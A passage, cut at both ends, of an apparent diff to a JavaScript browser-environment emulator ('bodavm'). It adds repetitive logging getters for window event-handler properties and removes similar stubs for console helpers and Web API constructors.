arg=bodavm.memory.globalobj['onwebkittransitionend']?bodavm.memory.globalobj['onwebkittransitionend']:null;console.log_copy(`window_onwebkittransitionend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkitanimationstart_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationstart']?bodavm.memory.globalobj['onwebkitanimationstart']:null;console.log_copy(`window_onwebkitanimationstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkitanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationiteration']?bodavm.memory.globalobj['onwebkitanimationiteration']:null;console.log_copy(`window_onwebkitanimationiteration_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkitanimationend_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationend']?bodavm.memory.globalobj['onwebkitanimationend']:null;console.log_copy(`window_onwebkitanimationend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwaiting_get=function (){let arg=bodavm.memory.globalobj['onwaiting']?bodavm.memory.globalobj['onwaiting']:null;console.log_copy(`window_onwaiting_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onvolumechange_get=function (){let arg=bodavm.memory.globalobj['onvolumechange']?bodavm.memory.globalobj['onvolumechange']:null;console.log_copy(`window_onvolumechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontoggle_get=function (){let arg=bodavm.memory.globalobj['ontoggle']?bodavm.memory.globalobj['ontoggle']:null;console.log_copy(`window_ontoggle_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontimeupdate_get=function (){let arg=bodavm.memory.globalobj['ontimeupdate']?bodavm.memory.globalobj['ontimeupdate']:null;console.log_copy(`window_ontimeupdate_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onsuspend_get=function (){let arg=bodavm.memory.globalobj['onsuspend']?bodavm.memory.globalobj['onsuspend']:null;console.log_copy(`window_onsuspend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onsubmit_get=function (){let arg=bodavm.memory.globalobj['onsubmit']?bodavm.memory.globalobj['onsubmit']:null;console.log_copy(`window_onsubmit_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onstalled_get=function (){let arg=bodavm.memory.globalobj['onstalled']?bodavm.memory.globalobj['onstalled']:null;console.log_copy(`window_onstalled_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onslotchange_get=function (){let arg=bodavm.memory.globalobj['onslotchange']?bodavm.memory.globalobj['onslotchange']:null;console.log_copy(`window_onslotchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onselect_get=function (){let arg=bodavm.memory.globalobj['onselect']?bodavm.memory.globalobj['onselect']:null;console.log_copy(`window_onselect_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onseeking_get=function (){let arg=bodavm.memory.globalobj['onseeking']?bodavm.memory.globalobj['onseeking']:null;console.log_copy(`window_onseeking_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onseeked_get=function (){let arg=bodavm.memory.globalobj['onseeked']?bodavm.memory.globalobj['onseeked']:null;console.log_copy(`window_onseeked_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onsecuritypolicyviolation_get=function (){let arg=bodavm.memory.globalobj['onsecuritypolicyviolation']?bodavm.memory.globalobj['onsecuritypolicyviolation']:null;console.log_copy(`window_onsecuritypolicyviolation_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onscroll_get=function (){let arg=bodavm.memory.globalobj['onscroll']?bodavm.memory.globalobj['onscroll']:null;console.log_copy(`window_onscroll_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onresize_get=function (){let arg=bodavm.memory.globalobj['onresize']?bodavm.memory.globalobj['onresize']:null;console.log_copy(`window_onresize_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onreset_get=function (){let arg=bodavm.memory.globalobj['onreset']?bodavm.memory.globalobj['onreset']:null;console.log_copy(`window_onreset_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onratechange_get=function (){let arg=bodavm.memory.globalobj['onratechange']?bodavm.memory.globalobj['onratechange']:null;console.log_copy(`window_onratechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onprogress_get=function (){let arg=bodavm.memory.globalobj['onprogress']?bodavm.memory.globalobj['onprogress']:null;console.log_copy(`window_onprogress_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onplaying_get=function (){let arg=bodavm.memory.globalobj['onplaying']?bodavm.memory.globalobj['onplaying']:null;console.log_copy(`window_onplaying_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onplay_get=function (){let arg=bodavm.memory.globalobj['onplay']?bodavm.memory.globalobj['onplay']:null;console.log_copy(`window_onplay_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpause_get=function (){let arg=bodavm.memory.globalobj['onpause']?bodavm.memory.globalobj['onpause']:null;console.log_copy(`window_onpause_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmousewheel_get=function (){let arg=bodavm.memory.globalobj['onmousewheel']?bodavm.memory.globalobj['onmousewheel']:null;console.log_copy(`window_onmousewheel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseup_get=function (){let arg=bodavm.memory.globalobj['onmouseup']?bodavm.memory.globalobj['onmouseup']:null;console.log_copy(`window_onmouseup_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseover_get=function (){let arg=bodavm.memory.globalobj['onmouseover']?bodavm.memory.globalobj['onmouseover']:null;console.log_copy(`window_onmouseover_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseout_get=function (){let arg=bodavm.memory.globalobj['onmouseout']?bodavm.memory.globalobj['onmouseout']:null;console.log_copy(`window_onmouseout_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmousemove_get=function (){let arg=bodavm.memory.globalobj['onmousemove']?bodavm.memory.globalobj['onmousemove']:null;console.log_copy(`window_onmousemove_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseleave_get=function (){let arg=bodavm.memory.globalobj['onmouseleave']?bodavm.memory.globalobj['onmouseleave']:null;console.log_copy(`window_onmouseleave_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmouseenter_get=function (){let arg=bodavm.memory.globalobj['onmouseenter']?bodavm.memory.globalobj['onmouseenter']:null;console.log_copy(`window_onmouseenter_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmousedown_get=function (){let arg=bodavm.memory.globalobj['onmousedown']?bodavm.memory.globalobj['onmousedown']:null;console.log_copy(`window_onmousedown_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onloadstart_get=function (){let arg=bodavm.memory.globalobj['onloadstart']?bodavm.memory.globalobj['onloadstart']:null;console.log_copy(`window_onloadstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onloadedmetadata_get=function (){let arg=bodavm.memory.globalobj['onloadedmetadata']?bodavm.memory.globalobj['onloadedmetadata']:null;console.log_copy(`window_onloadedmetadata_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onloadeddata_get=function (){let arg=bodavm.memory.globalobj['onloadeddata']?bodavm.memory.globalobj['onloadeddata']:null;console.log_copy(`window_onloadeddata_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onload_get=function (){let arg=bodavm.memory.globalobj['onload']?bodavm.memory.globalobj['onload']:null;console.log_copy(`window_onload_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onkeyup_get=function (){let arg=bodavm.memory.globalobj['onkeyup']?bodavm.memory.globalobj['onkeyup']:null;console.log_copy(`window_onkeyup_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onkeypress_get=function (){let arg=bodavm.memory.globalobj['onkeypress']?bodavm.memory.globalobj['onkeypress']:null;console.log_copy(`window_onkeypress_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onkeydown_get=function (){let arg=bodavm.memory.globalobj['onkeydown']?bodavm.memory.globalobj['onkeydown']:null;console.log_copy(`window_onkeydown_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oninvalid_get=function (){let arg=bodavm.memory.globalobj['oninvalid']?bodavm.memory.globalobj['oninvalid']:null;console.log_copy(`window_oninvalid_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oninput_get=function (){let arg=bodavm.memory.globalobj['oninput']?bodavm.memory.globalobj['oninput']:null;console.log_copy(`window_oninput_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onformdata_get=function (){let arg=bodavm.memory.globalobj['onformdata']?bodavm.memory.globalobj['onformdata']:null;console.log_copy(`window_onformdata_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onfocus_get=function (){let arg=bodavm.memory.globalobj['onfocus']?bodavm.memory.globalobj['onfocus']:null;console.log_copy(`window_onfocus_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onerror_get=function (){let arg=bodavm.memory.globalobj['onerror']?bodavm.memory.globalobj['onerror']:null;console.log_copy(`window_onerror_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onended_get=function (){let arg=bodavm.memory.globalobj['onended']?bodavm.memory.globalobj['onended']:null;console.log_copy(`window_onended_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onemptied_get=function (){let arg=bodavm.memory.globalobj['onemptied']?bodavm.memory.globalobj['onemptied']:null;console.log_copy(`window_onemptied_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondurationchange_get=function (){let arg=bodavm.memory.globalobj['ondurationchange']?bodavm.memory.globalobj['ondurationchange']:null;console.log_copy(`window_ondurationchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondrop_get=function (){let arg=bodavm.memory.globalobj['ondrop']?bodavm.memory.globalobj['ondrop']:null;console.log_copy(`window_ondrop_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragstart_get=function (){let arg=bodavm.memory.globalobj['ondragstart']?bodavm.memory.globalobj['ondragstart']:null;console.log_copy(`window_ondragstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragover_get=function (){let arg=bodavm.memory.globalobj['ondragover']?bodavm.memory.globalobj['ondragover']:null;console.log_copy(`window_ondragover_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragleave_get=function (){let arg=bodavm.memory.globalobj['ondragleave']?bodavm.memory.globalobj['ondragleave']:null;console.log_copy(`window_ondragleave_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragenter_get=function (){let arg=bodavm.memory.globalobj['ondragenter']?bodavm.memory.globalobj['ondragenter']:null;console.log_copy(`window_ondragenter_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondragend_get=function (){let arg=bodavm.memory.globalobj['ondragend']?bodavm.memory.globalobj['ondragend']:null;console.log_copy(`window_ondragend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondrag_get=function (){let arg=bodavm.memory.globalobj['ondrag']?bodavm.memory.globalobj['ondrag']:null;console.log_copy(`window_ondrag_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondblclick_get=function (){let arg=bodavm.memory.globalobj['ondblclick']?bodavm.memory.globalobj['ondblclick']:null;console.log_copy(`window_ondblclick_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncuechange_get=function (){let arg=bodavm.memory.globalobj['oncuechange']?bodavm.memory.globalobj['oncuechange']:null;console.log_copy(`window_oncuechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncontextrestored_get=function (){let arg=bodavm.memory.globalobj['oncontextrestored']?bodavm.memory.globalobj['oncontextrestored']:null;console.log_copy(`window_oncontextrestored_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncontextmenu_get=function (){let arg=bodavm.memory.globalobj['oncontextmenu']?bodavm.memory.globalobj['oncontextmenu']:null;console.log_copy(`window_oncontextmenu_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_oncontextlost_get=function (){let arg=bodavm.memory.globalobj['oncontextlost']?bodavm.memory.globalobj['oncontextlost']:null;console.log_copy(`window_oncontextlost_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onclose_get=function (){let arg=bodavm.memory.globalobj['onclose']?bodavm.memory.globalobj['onclose']:null;console.log_copy(`window_onclose_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onclick_get=function (){let arg=bodavm.memory.globalobj['onclick']?bodavm.memory.globalobj['onclick']:null;console.log_copy(`window_onclick_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onchange_get=function (){let arg=bodavm.memory.globalobj['onchange']?bodavm.memory.globalobj['onchange']:null;console.log_copy(`window_onchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_$x = function () { let arg = bodavm.memory.globalobj['$x']; console.log(`window_$x`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_$$ = function () { let arg = bodavm.memory.globalobj['$$']; console.log(`window_$$`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_$ = function () { let arg = bodavm.memory.globalobj['$']; console.log(`window_$`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_unmonitorEvents = function () { let arg = bodavm.memory.globalobj['unmonitorEvents']; console.log(`window_unmonitorEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_monitorEvents = function () { let arg = bodavm.memory.globalobj['monitorEvents']; console.log(`window_monitorEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getAccessibleRole = function () { let arg = bodavm.memory.globalobj['getAccessibleRole']; console.log(`window_getAccessibleRole`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getAccessibleName = function () { let arg = bodavm.memory.globalobj['getAccessibleName']; console.log(`window_getAccessibleName`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getEventListeners = function () { let arg = bodavm.memory.globalobj['getEventListeners']; console.log(`window_getEventListeners`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_queryObjects = function () { let arg = bodavm.memory.globalobj['queryObjects']; console.log(`window_queryObjects`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_copy = function () { let arg = bodavm.memory.globalobj['copy']; console.log(`window_copy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_inspect = function () { let arg = bodavm.memory.globalobj['inspect']; console.log(`window_inspect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_unmonitor = function () { let arg = bodavm.memory.globalobj['unmonitor']; console.log(`window_unmonitor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_monitor = function () { let arg = bodavm.memory.globalobj['monitor']; console.log(`window_monitor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_undebug = function () { let arg = bodavm.memory.globalobj['undebug']; console.log(`window_undebug`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_debug = function () { let arg = bodavm.memory.globalobj['debug']; console.log(`window_debug`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_values = function () { let arg = bodavm.memory.globalobj['values']; console.log(`window_values`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_keys = function () { let arg = bodavm.memory.globalobj['keys']; console.log(`window_keys`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_table = function () { let arg = bodavm.memory.globalobj['table']; console.log(`window_table`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_clear = function () { let arg = bodavm.memory.globalobj['clear']; console.log(`window_clear`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_profileEnd = function () { let arg = bodavm.memory.globalobj['profileEnd']; console.log(`window_profileEnd`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_profile = function () { let arg = bodavm.memory.globalobj['profile']; console.log(`window_profile`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_dirxml = function () { let arg = bodavm.memory.globalobj['dirxml']; console.log(`window_dirxml`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_dir = function () { let arg = bodavm.memory.globalobj['dir']; console.log(`window_dir`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitResolveLocalFileSystemURL = function () { let arg = bodavm.memory.globalobj['webkitResolveLocalFileSystemURL']; console.log(`window_webkitResolveLocalFileSystemURL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechRecognitionEvent = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionEvent']; console.log(`window_webkitSpeechRecognitionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechRecognitionError = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionError']; console.log(`window_webkitSpeechRecognitionError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechRecognition = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognition']; console.log(`window_webkitSpeechRecognition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechGrammarList = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammarList']; console.log(`window_webkitSpeechGrammarList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitSpeechGrammar = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammar']; console.log(`window_webkitSpeechGrammar`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XSLTProcessor = function () { let arg = bodavm.memory.globalobj['XSLTProcessor']; console.log(`window_XSLTProcessor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VirtualKeyboardGeometryChangeEvent = function () { let arg = bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent']; console.log(`window_VirtualKeyboardGeometryChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoPlaybackQuality = function () { let arg = bodavm.memory.globalobj['VideoPlaybackQuality']; console.log(`window_VideoPlaybackQuality`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_URLPattern = function () { let arg = bodavm.memory.globalobj['URLPattern']; console.log(`window_URLPattern`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedTypePolicy = function () { let arg = bodavm.memory.globalobj['TrustedTypePolicy']; console.log(`window_TrustedTypePolicy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedScriptURL = function () { let arg = bodavm.memory.globalobj['TrustedScriptURL']; console.log(`window_TrustedScriptURL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedScript = function () { let arg = bodavm.memory.globalobj['TrustedScript']; console.log(`window_TrustedScript`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrustedHTML = function () { let arg = bodavm.memory.globalobj['TrustedHTML']; console.log(`window_TrustedHTML`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SpeechSynthesisUtterance = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisUtterance']; console.log(`window_SpeechSynthesisUtterance`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SpeechSynthesisEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisEvent']; console.log(`window_SpeechSynthesisEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SpeechSynthesisErrorEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisErrorEvent']; console.log(`window_SpeechSynthesisErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SharedWorker = function () { let arg = bodavm.memory.globalobj['SharedWorker']; console.log(`window_SharedWorker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskSignal = function () { let arg = bodavm.memory.globalobj['TaskSignal']; console.log(`window_TaskSignal`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskPriorityChangeEvent = function () { let arg = bodavm.memory.globalobj['TaskPriorityChangeEvent']; console.log(`window_TaskPriorityChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskController = function () { let arg = bodavm.memory.globalobj['TaskController']; console.log(`window_TaskController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Scheduler = function () { let arg = bodavm.memory.globalobj['Scheduler']; console.log(`window_Scheduler`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RemotePlayback = function () { let arg = bodavm.memory.globalobj['RemotePlayback']; console.log(`window_RemotePlayback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PushSubscriptionOptions = function () { let arg = bodavm.memory.globalobj['PushSubscriptionOptions']; console.log(`window_PushSubscriptionOptions`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PushSubscription = function () { let arg = bodavm.memory.globalobj['PushSubscription']; console.log(`window_PushSubscription`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PushManager = function () { let arg = bodavm.memory.globalobj['PushManager']; console.log(`window_PushManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PictureInPictureWindow = function () { let arg = bodavm.memory.globalobj['PictureInPictureWindow']; console.log(`window_PictureInPictureWindow`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PictureInPictureEvent = function () { let arg = bodavm.memory.globalobj['PictureInPictureEvent']; console.log(`window_PictureInPictureEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Permissions = function () { let arg = bodavm.memory.globalobj['Permissions']; console.log(`window_Permissions`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PermissionStatus = function () { let arg = bodavm.memory.globalobj['PermissionStatus']; console.log(`window_PermissionStatus`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PeriodicSyncManager = function () { let arg = bodavm.memory.globalobj['PeriodicSyncManager']; console.log(`window_PeriodicSyncManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentRequestUpdateEvent = function () { let arg = bodavm.memory.globalobj['PaymentRequestUpdateEvent']; console.log(`window_PaymentRequestUpdateEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentManager = function () { let arg = bodavm.memory.globalobj['PaymentManager']; console.log(`window_PaymentManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentInstruments = function () { let arg = bodavm.memory.globalobj['PaymentInstruments']; console.log(`window_PaymentInstruments`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Notification = function () { let arg = bodavm.memory.globalobj['Notification']; console.log(`window_Notification`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigatorUAData = function () { let arg = bodavm.memory.globalobj['NavigatorUAData']; console.log(`window_NavigatorUAData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationTransition = function () { let arg = bodavm.memory.globalobj['NavigationTransition']; console.log(`window_NavigationTransition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationHistoryEntry = function () { let arg = bodavm.memory.globalobj['NavigationHistoryEntry']; console.log(`window_NavigationHistoryEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationDestination = function () { let arg = bodavm.memory.globalobj['NavigationDestination']; console.log(`window_NavigationDestination`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationCurrentEntryChangeEvent = function () { let arg = bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent']; console.log(`window_NavigationCurrentEntryChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigateEvent = function () { let arg = bodavm.memory.globalobj['NavigateEvent']; console.log(`window_NavigateEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrack = function () { let arg = bodavm.memory.globalobj['MediaStreamTrack']; console.log(`window_MediaStreamTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SourceBufferList = function () { let arg = bodavm.memory.globalobj['SourceBufferList']; console.log(`window_SourceBufferList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SourceBuffer = function () { let arg = bodavm.memory.globalobj['SourceBuffer']; console.log(`window_SourceBuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaSource = function () { let arg = bodavm.memory.globalobj['MediaSource']; console.log(`window_MediaSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaSession = function () { let arg = bodavm.memory.globalobj['MediaSession']; console.log(`window_MediaSession`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaMetadata = function () { let arg = bodavm.memory.globalobj['MediaMetadata']; console.log(`window_MediaMetadata`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Ink = function () { let arg = bodavm.memory.globalobj['Ink']; console.log(`window_Ink`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DelegatedInkTrailPresenter = function () { let arg = bodavm.memory.globalobj['DelegatedInkTrailPresenter']; console.log(`window_DelegatedInkTrailPresenter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CustomStateSet = function () { let arg = bodavm.memory.globalobj['CustomStateSet']; console.log(`window_CustomStateSet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CaptureHandleChangeEvent = function () { let arg = bodavm.memory.globalobj['CaptureHandleChangeEvent']; console.log(`window_CaptureHandleChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSFontPaletteValuesRule = function () { let arg = bodavm.memory.globalobj['CSSFontPaletteValuesRule']; console.log(`window_CSSFontPaletteValuesRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothUUID = function () { let arg = bodavm.memory.globalobj['BluetoothUUID']; console.log(`window_BluetoothUUID`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BackgroundFetchRegistration = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRegistration']; console.log(`window_BackgroundFetchRegistration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BackgroundFetchRecord = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRecord']; console.log(`window_BackgroundFetchRecord`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BackgroundFetchManager = function () { let arg = bodavm.memory.globalobj['BackgroundFetchManager']; console.log(`window_BackgroundFetchManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DocumentTimeline = function () { let arg = bodavm.memory.globalobj['DocumentTimeline']; console.log(`window_DocumentTimeline`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTransition = function () { let arg = bodavm.memory.globalobj['CSSTransition']; console.log(`window_CSSTransition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSAnimation = function () { let arg = bodavm.memory.globalobj['CSSAnimation']; console.log(`window_CSSAnimation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationTimeline = function () { let arg = bodavm.memory.globalobj['AnimationTimeline']; console.log(`window_AnimationTimeline`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationPlaybackEvent = function () { let arg = bodavm.memory.globalobj['AnimationPlaybackEvent']; console.log(`window_AnimationPlaybackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_showSaveFilePicker = function () { let arg = bodavm.memory.globalobj['showSaveFilePicker']; console.log(`window_showSaveFilePicker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_showOpenFilePicker = function () { let arg = bodavm.memory.globalobj['showOpenFilePicker']; console.log(`window_showOpenFilePicker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_showDirectoryPicker = function () { let arg = bodavm.memory.globalobj['showDirectoryPicker']; console.log(`window_showDirectoryPicker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getScreenDetails = function () { let arg = bodavm.memory.globalobj['getScreenDetails']; console.log(`window_getScreenDetails`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRLightProbe = function () { let arg = bodavm.memory.globalobj['XRLightProbe']; console.log(`window_XRLightProbe`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRLightEstimate = function () { let arg = bodavm.memory.globalobj['XRLightEstimate']; console.log(`window_XRLightEstimate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRTransientInputHitTestSource = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestSource']; console.log(`window_XRTransientInputHitTestSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRTransientInputHitTestResult = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestResult']; console.log(`window_XRTransientInputHitTestResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRRay = function () { let arg = bodavm.memory.globalobj['XRRay']; console.log(`window_XRRay`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRHitTestSource = function () { let arg = bodavm.memory.globalobj['XRHitTestSource']; console.log(`window_XRHitTestSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRHitTestResult = function () { let arg = bodavm.memory.globalobj['XRHitTestResult']; console.log(`window_XRHitTestResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRWebGLDepthInformation = function () { let arg = bodavm.memory.globalobj['XRWebGLDepthInformation']; console.log(`window_XRWebGLDepthInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRDepthInformation = function () { let arg = bodavm.memory.globalobj['XRDepthInformation']; console.log(`window_XRDepthInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRCPUDepthInformation = function () { let arg = bodavm.memory.globalobj['XRCPUDepthInformation']; console.log(`window_XRCPUDepthInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRWebGLLayer = function () { let arg = bodavm.memory.globalobj['XRWebGLLayer']; console.log(`window_XRWebGLLayer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRViewport = function () { let arg = bodavm.memory.globalobj['XRViewport']; console.log(`window_XRViewport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRViewerPose = function () { let arg = bodavm.memory.globalobj['XRViewerPose']; console.log(`window_XRViewerPose`, `-> res 